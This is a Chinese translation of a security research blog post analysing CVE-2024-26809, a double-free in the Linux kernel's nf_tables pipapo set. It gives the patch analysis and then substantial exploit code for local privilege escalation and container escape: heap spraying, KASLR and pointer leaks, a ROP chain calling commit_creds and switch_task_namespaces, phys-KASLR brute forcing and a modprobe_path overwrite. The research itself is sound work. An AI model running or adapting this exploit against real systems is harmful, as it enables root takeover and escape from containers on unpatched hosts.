本文分析了Linux内核netfilter子系统中一个已公开的漏洞CVE-2024-26809,该漏洞允许攻击者在已修复漏洞和补丁发布之间的时间差内,利用1-day漏洞实现类似于0day的本地权限提升或容器逃逸。
对 Linux 内核安全状态和开源补丁间隙的一瞥。我们探索了如何监控提交以查找新的错误修复,并通过利用 1 天漏洞实现了类似 0day 的能力。
在 3 月下旬,我尝试监控 Linux 内核子系统中易受攻击错误的提交,部分是为了研究通过补丁间隙/循环 1day 来维持 LPE/容器逃逸能力的可行性,同时也为了提交给 KernelCTF VRP。
在研究过程中,我很快遇到了一个在 netfilter 中修复的可利用的 bug,该 bug 被标记为 CVE-2024-26809(最初由 lonial con 发现),并且能够在 KernelCTF LTS 实例中利用它,并编写一个通用的 exploit,该 exploit 可以在不同的内核版本上运行,而无需使用不同的符号或 ROP gadgets 重新编译。
在这篇文章中,我将讨论如何通过迅速利用补丁间隙在修复程序向下游传播之前编写 exploit,从而利用 1day 获得大约两个月的类似 0day 的 LPE/容器逃逸能力。我还将分享我分析补丁以理解 bug、隔离引入它的 commit、在 KernelCTF VRP 中利用它,以及最终如何开发通用 exploit 以针对主流发行版的旅程。
内核位于操作系统的核心;它的目的不是成为一个常规应用程序,而是创建一个应用程序可以在其上运行的平台。内核直接与硬件交互,以实现你可以从操作系统中期望的一切,例如用户隔离和权限、网络、文件系统访问、内存管理、任务调度等。
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
内核公开了一个用户应用程序可以用来请求他们无法直接执行的操作的接口(例如,将一些内存映射到我的进程的虚拟地址空间、将一些文件暴露给我的进程、打开一个网络套接字等)。这被称为 syscall 接口,是将数据从用户空间传递到内核空间的主要形式。
由于内核处理用户应用程序传递的请求,它像任何代码一样容易出现 bug 和安全漏洞,范围从逻辑问题到内存损坏,攻击者可以使用这些漏洞来劫持内核上下文中的执行或以某种其他方式提升权限。考虑到这一点,我们可以期望典型的内核 exploit 看起来像这样:
我强烈建议阅读 Lkmidas 的内核利用简介 博客文章,以更熟悉该主题。
nf_tables
nf_tables
是 Linux 内核的 netfilter 子系统的一个组件。它是一种数据包过滤机制,是诸如 iptables 和 Firewalld 之类的工具当前使用的后端。其他研究人员已经彻底讨论了它的内部结构 1, 2。我建议简要阅读这些文章,以了解 nf_table
对象的层次结构以及我们如何操纵它们来创建可配置的过滤机制。
为了本博客文章的目的,我将省略任何与漏洞没有直接关系的细节。
事务是更新 nf_tables
对象/状态的交互。它大致由一批修改某些 nf_tables
对象的操作组成(添加/删除/编辑表、集合、元素、对象等)。它们大致由 3 个不同的阶段组成:
接下来,让我们看看修复该 bug 的 补丁。
diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c
index c0ceea068936a6..df8de509024637 100644
--- a/net/netfilter/nft_set_pipapo.c
+++ b/net/netfilter/nft_set_pipapo.c
@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,
m = rcu_dereference_protected(priv->match, true);
if (m) {
rcu_barrier();
- nft_set_pipapo_match_destroy(ctx, set, m);
-
for_each_possible_cpu(cpu)
pipapo_free_scratch(m, cpu);
free_percpu(m->scratch);
@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,
if (priv->clone) {
m = priv->clone;
- if (priv->dirty)
- nft_set_pipapo_match_destroy(ctx, set, m);
+ nft_set_pipapo_match_destroy(ctx, set, m);
for_each_possible_cpu(cpu)
pipapo_free_scratch(priv->clone, cpu);
如果设置了 priv->dirty
和 priv->clone
变量,则会调用两次 nft_set_pipapo_match_destroy()
,一次以 priv->match
作为参数,然后再次以 priv->clone
作为参数。看看这个函数的作用,我们可以看到它正在迭代 set
的 setelem
s,并为每个 setelem
调用 nf_tables_set_elem_destroy()
。
static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,
const struct nft_set *set,
struct nft_pipapo_match *m)
{
struct nft_pipapo_field *f;
int i, r;
for (i = 0, f = m->f; i < m->field_count - 1; i++, f++)
;
for (r = 0; r < f->rules; r++) {
struct nft_pipapo_elem *e;
if (r < f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)
continue;
e = f->mt[r].e;
nf_tables_set_elem_destroy(ctx, set, &e->priv);
}
}
然后将 kfree()
setelem
。
void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set,
const struct nft_elem_priv *elem_priv)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));
kfree(elem_priv);
}
nft_pipapo_match
对象包含 set
的 setelem
s 的视图。priv->match
和 priv->clone
匹配对象之间的区别在于,克隆不仅具有“正常”匹配对象已提交的 setelem
s 的视图,还具有仅存在于当前控制平面中的尚未提交的 setelem
s 的视图。换句话说,控制平面会更改克隆,如果到达提交路径,则更改会提交到 priv->match
。
因此,为两个匹配对象调用 nf_tables_set_elem_destroy
似乎是一个非常直接的 双重释放 已提交的 setelem
s,因为这些 setelem
s 将具有重复的视图。乍一看,这看起来有些奇怪。这个 bug 是如何产生的?之前为什么没有检测到?让我们试着弄清楚。
我们现在应该尝试了解如何使用设置的 priv->dirty
标志到达该路径,该标志是 pipapo setelem
的私有数据的成员,只要在事务的控制平面阶段对 set
进行更改,该标志就会变为 true。这是为了告诉提交路径此 set
有必须提交的更改。如果我们参考代码,我们会发现我们可以通过插入一个新元素来使 set
变脏。
static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,
const struct nft_set_elem *elem,
struct nft_elem_priv **elem_priv)
{
[...]
priv->dirty = true;
[...]
}
我们还看到,当提交更改时,此标志将被取消设置。
static void nft_pipapo_commit(struct nft_set *set)
{
[...]
if (!priv->dirty)
return;
[...]
priv->dirty = false;
[...]
}
我们可以得出结论,只要我们可以在同一事务中插入一个 setelem
到 set
中以使其变脏,然后删除该 set
,我们就可以触发 双重释放。但是还有另一个条件:在提交路径中,如果一个 set
的 ->commit()
方法在其 ->destroy()
方法之前执行,那么 dirty
标志将被取消设置,并且我们将无法触发 双重释放。
让我们再次参考代码,看看这些方法是如何被调用的。
static int nf_tables_commit(struct net *net, struct sk_buff *skb)
{
[...]
case NFT_MSG_DELSET:
case NFT_MSG_DESTROYSET: // [1]
nft_trans_set(trans)->dead = 1; // [2]
list_del_rcu(&nft_trans_set(trans)->list);
nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),
trans->msg_type, GFP_KERNEL);
break;
case NFT_MSG_NEWSETELEM: // [3]
[...]
if (te->set->ops->commit &&
list_empty(&te->set->pending_update)) {
list_add_tail(&te->set->pending_update,
&set_update_list);
}
[...]
}
nft_set_commit_update(&set_update_list);
[...]
nf_tables_commit_release(net);
return 0;
}
上面的代码中的 nft_set_commit_update()
函数将为任何标记为等待更新的对象调用 ->commit()
方法。
static void nft_set_commit_update(struct list_head *set_update_list)
{
struct nft_set *set, *next;
list_for_each_entry_safe(set, next, set_update_list, pending_update) {
list_del_init(&set->pending_update);
if (!set->ops->commit || set->dead) // [4]
continue;
set->ops->commit(set); // [5]
}
}
稍后,调用 nf_tables_commit_release()
函数来释放任何标记为释放的对象,最终调用 set
的 ->destroy()
方法。
static void nf_tables_commit_release(struct net *net)
{
[...]
schedule_work(&trans_destroy_work);
[...]
}
[...]
static void nf_tables_trans_destroy_work(struct work_struct *w)
{
[...]
list_for_each_entry_safe(trans, next, &head, list) {
nft_trans_list_del(trans);
nft_commit_release(trans);
}
}
[...]
static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
[...]
case NFT_MSG_DELSET:
case NFT_MSG_DESTROYSET:
nft_set_destroy(&trans->ctx, nft_trans_set(trans));
[...]
}
[...]
static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
[...]
set->ops->destroy(ctx, set);
[...]
}
似乎不可能在释放步骤中使 priv->dirty
为 true,因为 ->commit()
方法总是首先被调用...
然而,最后一个部分使这个 bug 变得活跃:set->dead
标志。如果一个 set
被标记为删除,它会收到 set->dead
标志 2。如果设置了这个标志,那么提交路径将跳过对这个 set
的任何提交 4。这对我们来说非常方便,并且允许我们触发 双重释放,因为 priv ->dirty
标志没有在应该清除的时候被清除。
上面的场景引发了一些关于这个漏洞是如何被引入的有趣的推测。请参阅,关于这个漏洞的任何 公告 都会说它是由这个 提交 引入的,考虑到这添加了在同一路径中释放两次的奇怪代码,这听起来很合理。然而,通过检查 set->dead
标志的 blame,这实际上使这个漏洞可以被利用,我们将了解到它仅仅在上面的提交的一年后才在这个 提交 中被引入。
通过阅读第一个提交的信息,我们终于可以理解为什么添加这段代码:
New elements that reside in the clone are not released in case that the
transaction is aborted.
[16302.231754] ------------[ cut here ]------------
[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]
[...]
[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155
[...]
[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]
[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 <0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05
[...]
[16302.231917] Call Trace:
[16302.231919] <TASK>
[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]
[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]
[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]
[16302.231952] ? __nla_validate_parse+0x48/0x190
[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]
[16302.231963] netlink_unicast+0x211/0x340
[16302.231969] netlink_sendmsg+0x21e/0x460
Add nft_set_pipapo_match_destroy() helper function to release the
elements in the lookup tables.
Stefano Brivio says: "We additionally look for elements pointers in the
cloned matching data if priv->dirty is set, because that means that
cloned data might point to additional elements we did not commit to the
working copy yet (such as the abort path case, but perhaps not limited
to it)."
Fixes: 3c4287f62044 ("nf_tables: Add set type for arbitrary concatenation of ranges")
Reviewed-by: Stefano Brivio <sbrivio@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
正如我们之前讨论的,通过创建匹配对象的克隆来提交对 pipapo set
的更改,在控制平面期间对克隆进行更改。稍后,如果我们进入提交路径,则通过简单地用其更新的克隆替换 set
的匹配对象,在 ->commit()
方法中提交更改。因此,检查 priv->dirty
标志然后再次调用 free 可以确保我们还释放未提交的更改。
这在提交路径中没有意义,而仅在中止路径中才有意义。显然,当中止创建 set
的事务时,将不会有已提交的更改,并且只会克隆内部的元素,这些元素最终将永远不会被提交。因此,为了确保我们释放这些未提交的元素,至关重要的是释放克隆中的内容。
当引入这段代码时,它只能从中止路径访问,因为只有在这种路径下才能调用 set->ops->destroy()
而不清除 priv->dirty
标志,考虑到你没有 setelem
s 的重复视图,这很好,所以它们都将在克隆集中。
但是,当引入 set->dead
标志时,有关提交路径的一些假设发生了变化。它创建了一种新的方式来访问这段代码,同时已经在集合中提交了更改。这意味着任何已经提交的更改将在“正常的”匹配对象中有一个视图,在克隆中也有一个视图。
通过仅删除克隆中的元素来修复漏洞,因为克隆应该具有已提交和未提交更改的所有视图,从而有效地消除了 双重释放 漏洞。
现在我们知道了 bug 的完整故事,让我们看看我是如何在进入通用 exploit 之前在 KernelCTF LTS 实例中利用它的。该 exploit 的很大一部分是基于 lonial con 在 之前的 kernelCTF exploit 中分享的 nft_object + udata
技术。
SLUB 分配器具有一个简单的 双重释放 检测机制,可以发现直接的序列,例如,同一个对象连续两次被添加到空闲列表中,而中间没有添加任何其他对象。
正如我们所看到的,nft_set_pipapo_match_destroy
迭代集合中的 setelems
并释放每个元素,因此通过在集合中包含多个元素来避免检测应该相对简单,在这种情况下将发生以下情况:
[...]
static void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)
{
[...]
// TRANSACTION 2
[...]
// create pipapo set
uint8_t desc[2] = {16, 16};
set = create_set(
batch, seq++, exploit_table_name, "pwn_set", 0x1337,
NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);
// commit 2 elems to set (elems A and B that will be double-freed)
for (int i = 0; i < 2; i++)
{
elem[i] = nftnl_set_elem_alloc();
memset(key, 0x41 + i, KEY_LEN);
nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, "pwnobj", 7);
nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);
nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);
nftnl_set_elem_add(set, elem[i]);
}
[...]
// TRANSACTION 3
[...]
set = nftnl_set_alloc();
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);
nftnl_set_set_str(set, NFTNL_SET_NAME, "pwn_set");
// make priv->dirty true
memset(key, 0xff, KEY_LEN);
elem[3] = nftnl_set_elem_alloc();
nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, "pwnobj", 7);
nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);
nftnl_set_elem_add(set, elem[3]);
[...]
// double-free commited elems
[...]
nftnl_set_free(set);
}
[...]
表包含一个轮廓线用户数据缓冲区 udata
,我们可以读取和写入该缓冲区。通过在 双重释放 插槽上分配一个 udata
缓冲区,然后将其与 nft_object
重叠,我们可以泄露 ->ops
指针,并使用它来计算 KASLR slide。
[...]
// spray 3 udata buffers to consume elems A, B and A again
udata_spray(nl, 0xe8, 0, 3, NULL);
// check if overlap happened (i.e if we have to overlapping udata buffers)
char spray_name[16];
char *udata[3];
for (int i = 0; i < 3; i++)
{
snprintf(spray_name, sizeof(spray_name), "spray-%i", i);
udata[i] = getudata(nl, spray_name);
}
if (udata[0][0] == udata[2][0])
{
puts("[+] got duplicated table");
}
// Replace one of the udata buffers with nft_object
// and read it's counterpart to leak the nft_object struct
puts("[*] Info leak");
deludata_spray(nl, 0, 1);
wait_destroyer();
obj_spray(nl, 0, 1, NULL, 0);
uint64_t *fake_obj = (uint64_t *)getudata(nl, "spray-2");
[...]
nft_object
的 self 指针正如我将在ROP部分中更深入地讨论的那样,该漏洞利用依赖于已知的可控内存地址才能工作。我决定使用 nft_object
来获取它自己的地址。这是可能的,因为 nft_object
有一个 udata
指针(类似于我用于泄露 KASLR 的 table->udata
),我可以使用它来读取/写入数据。
nft_object
结构还包含一个 list_head
,该 list_head
被插入到一个循环列表中,该循环列表包含属于给定 table
的所有 nft_object
。考虑到我们的对象目前在其表中是单独存在的,nft_object
中的 table->list.next
指针将指回到 table
中包含的 list_head
,反之亦然。
简而言之,这意味着如果我们用它自己的 list.next
指针交换 nft_object
的 udata
指针,我们应该能够读取一个指针回到 nft_object
的 list_head
,这也是 nft_object
本身的开始。
注意: 这是一个新颖的小技巧。
[...]
// Leak nft_object ptr using table linked list
fake_obj[8] = 8; // ulen = 8
fake_obj[9] = fake_obj[0]; // udata = list->next
deludata_spray(nl, 2, 1);
wait_destroyer();
udata_spray(nl, 0xe8, 3, 1, fake_obj);
get_obj(nl, "spray-0", true);
printf("[*] nft_object ptr: 0x%lx\n", obj_ptr);
[...]
为了劫持控制流,我们可以再次使用 nft_object
。nft_object
结构有一个指向函数指针表的 ops
指针。我们可以用 udata
指针交换 ops
指针,从而控制指针表。
[...]
// Fake ops
uint64_t *rop = calloc(29, sizeof(uint64_t));
rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];
rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;
[...]
// Send ROP in object udata
del_obj(nl, "spray-0");
wait_destroyer();
obj_spray(nl, 1, 1, rop, 0xb8);
fake_obj = (uint64_t *)getudata(nl, "spray-3");
DumpHex(fake_obj, 0xe8);
uint64_t rop_addr = fake_obj[9]; // udata ptr
printf("[*] ROP addr: 0x%lx\n", rop_addr);
// Point to fake ops
fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table
[...]
// Write ROP
puts("[*] Write ROP");
deludata_spray(nl, 3, 1);
wait_destroyer();
udata_spray(nl, 0xe8, 4, 1, fake_obj);
// Takeover RIP
puts("[*] Takeover RIP");
dump_obj(nl, "spray-1");
[...]
nft_object
操作是从 RCU 关键部分调用的,对于 ROP 来说,这可能是一个问题,因为我们希望在执行我们的 payload 之后将上下文切换到用户空间,这在 RCU 关键部分中是非法的。
D3v17 在 之前的 kernelCTF 提交 中已经讨论过一种解决方法,它基本上包括使用内存写入 gadget 来覆盖我们的 task_struct
中的 RCU 锁,然后在切换到用户空间。虽然这种方法有效,但我很难找到有用的 gadget,但最终提出了一个更简单的解决方案。有一些专门用于获取/释放 RCU 锁的内核 API,因此我们应该能够简单地调用 __rcu_read_unlock()
函数并在切换上下文之前退出 RCU 关键部分。
// ROP stage 1
int pos = 3;
rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;
大多数用于以 root 身份逃离容器的 ROP 链与往常一样:
commit_creds(&init_cred);
将 root 凭据提交给我们的进程task = find_task_by_vpid(1);
查找我们命名空间的 root 进程switch_task_namespaces(task, &init_nsproxy);
将其移动到 root 命名空间然而,我很难找到 gadget 来轻松地将 find_task_by_vpid(1)
的返回值从 rax
传递到 rdi
。我最终使用的是 push rax; jmp qword ptr [rsi + 0x66]; ret
gadget,它允许我将 rax
值推入堆栈,然后跳转到一个受控的位置,在那里我存储了一个 pop rdi; ret
gadget 来消耗新的堆栈值并恢复正常的 ROP 执行。ROP 流程中的这个非常小的绕道看起来像这样:
pop rdi; ret;
位置)pop rdi; ret
从堆栈中消耗该值(将堆栈指针恢复到应有的位置),然后我们跳回到下一个 gadget[...]
// commit_creds(&init_cred);
rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;
rop[pos++] = kaslr_slide + INIT_CRED;
rop[pos++] = kaslr_slide + COMMIT_CREDS;
// task = find_task_by_vpid(1);
rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;
rop[pos++] = 1;
rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;
rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;
rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop
rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];
// switch_task_namespaces(task, &init_nsproxy);
rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;
rop[pos++] = kaslr_slide + INIT_NSPROXY;
rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;
[...]
你可以在我们的 GitHub 中找到 kernelCTF exploit。
在利用 KernelCTF 之后,我决定使用此漏洞来制作一个通用的 exploit (无论目标如何,都能稳定运行,而无需修改)。为了避免一些兼容性和可靠性方面的陷阱,我采取了一种不同的方法,其中最大的陷阱是 ROP 和任何其他依赖于内核数据偏移量的东西,因为这些偏移量会因构建而异。为不同的构建编译一个 gadget 列表并不罕见,但完全避免麻烦更有意义。
使用 双重释放 漏洞,我们可以将 msg_msg
对象与 udata
重叠,并控制 m_list.next
指针。
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
[...]
struct list_head {
struct list_head *next, *prev;
};
如果我们在同一个队列上发送大小不同的消息,使位于一个缓存中的消息的 mlist.next
指针指向不同的缓存,这将特别有趣。因此,通过在 kmalloc-cg-256 中 spraying msg_msg
,每个队列中都有一个辅助消息位于 kmalloc-cg-1k 中。
通过将我们可控的 msg_msg
的 next```
[...]
// 暴力破解 phys-KASLR
uint64_t kernel_base;
bool found = false;
uint8_t data[PAGE_SIZE] = {0};
puts("[] bruteforce phys-KASLR");
for (uint64_t i = 0;; i++)
{
kernel_base = 0x40 ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);
pipebuf->page = vmemmap_base + kernel_base;
pipebuf->offset = 0;
pipebuf->len = PAGE_SIZE + 1;
[...]
for (int j = 0; j < PIPE_SPRAY; j++)
{
memset(&data, 0, PAGE_SIZE);
int count;
if (count = read(pfd[j][0], &data, PAGE_SIZE) < 0)
{
continue;
}
[...]
if (is_kernel_base(data)) // [1] 识别内核基址
{
found = true;
break;
}
}
[...]
注意,在 1 处我们调用了 `is_kernel_base()` 函数。这是一个基于 lau 的 exploit 5 的函数,它基本上匹配了可能存在于不同构建的内核基址页面的多个字节模式,以最大化兼容性。
[...] static bool is_kernel_base(unsigned char *addr) { // 感谢 lau :)
// get-sig kernel_runtime_1
if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
return true;
// get-sig kernel_runtime_2
if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
return true;
return false;
} [...]
### 覆盖 `modprobe_path`
在内核内存中找到 `/sbin/modprobe` 字符串,并将其替换为指向我们拥有的文件的受控值,最终变得相对简单。
一个非常著名的技巧是,尽管我们在 chroot 中运行,无法在根文件系统中创建文件,但可以使用通过 `/proc/<pid>/fd/<n>` 暴露的 memfd。值得补充的是,鉴于我们在非特权命名空间之外的 pid 对我们来说是未知的,我们对其进行暴力破解。
[...] puts("[*] overwrite modprobe_path"); for (int i = 0; i < 4194304; i++) { pipebuf->page = modprobe_page; pipebuf->offset = modprobe_off; pipebuf->len = 0; for (int i = 0; i < SKBUF_SPRAY; i++) { if (write(sock[i][0], pipebuf, 1024 - 320) < 0) { perror("[-] write(socket)"); break; } }
memset(&data, 0, PAGE_SIZE);
snprintf(fd_path, sizeof(fd_path), "/proc/%i/fd/%i", i, modprobe_fd);
lseek(modprobe_fd, 0, SEEK_SET);
dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);
if (write(pfd[pipe_idx][1], fd_path, 32) < 0)
{
perror("\n[-] write(pipe)");
}
if (check_modprobe(fd_path))
{
puts("[-] failed to overwrite modprobe");
break;
}
if (trigger_modprobe(status_fd))
{
puts("\n[+] got root");
goto out;
}
for (int i = 0; i < SKBUF_SPRAY; i++)
{
if (read(sock[i][1], leak, 1024 - 320) < 0)
{
perror("[-] read(socket)");
return -1;
}
}
}
puts("[-] fake modprobe failed");
[...]
[lau](https://pwning.tech/nftables/#28-overwriting-modprobepath) 已经彻底详细地介绍了这个技巧,因此我们不会对此进行过多介绍。
### 通用漏洞利用演示
{%youtube tjbp4Mtfo8w %}
你可以在我们的 [GitHub](https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c) 中找到完整的通用漏洞利用程序。
## 披露时间线
- 3 月 21 日——补丁公开
- 3 月 23 日——滚动浏览提交并找到错误修复。
- 3 月 24 日——编写 KernelCTF 漏洞利用程序
- 3 月 26 日——编写通用漏洞利用程序
- 5 月 23 日——补丁登陆 Ubuntu 和 Debian
请注意,通用漏洞利用程序在大约 2 个月的时间里针对流行的发行版仍然有效。
## 结论
在这篇文章中,我讨论了如何使用刚刚公开的提交修复的错误来利用内核的最新稳定版本,并在很长一段时间内保持类似 0day 的原语。 我还讨论了利用该漏洞的两种不同方法:一种是我用来利用 KernelCTF 实例并检索标志的方法,另一种是我用来制作通用漏洞利用二进制文件的方法,该二进制文件在所有经过测试的目标中稳定运行,而无需进行适配甚至重新编译。
我们所观察到的并非新鲜事。 尽管 Linux 社区为提高内核安全性做出了努力和进步,但可以明显看出,可利用错误的供应实际上仍然是无限的,并且开源补丁的滞后足够长,可以维持有效的漏洞利用能力。
- 原文链接: osec.io/blog/2024-11-25-...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!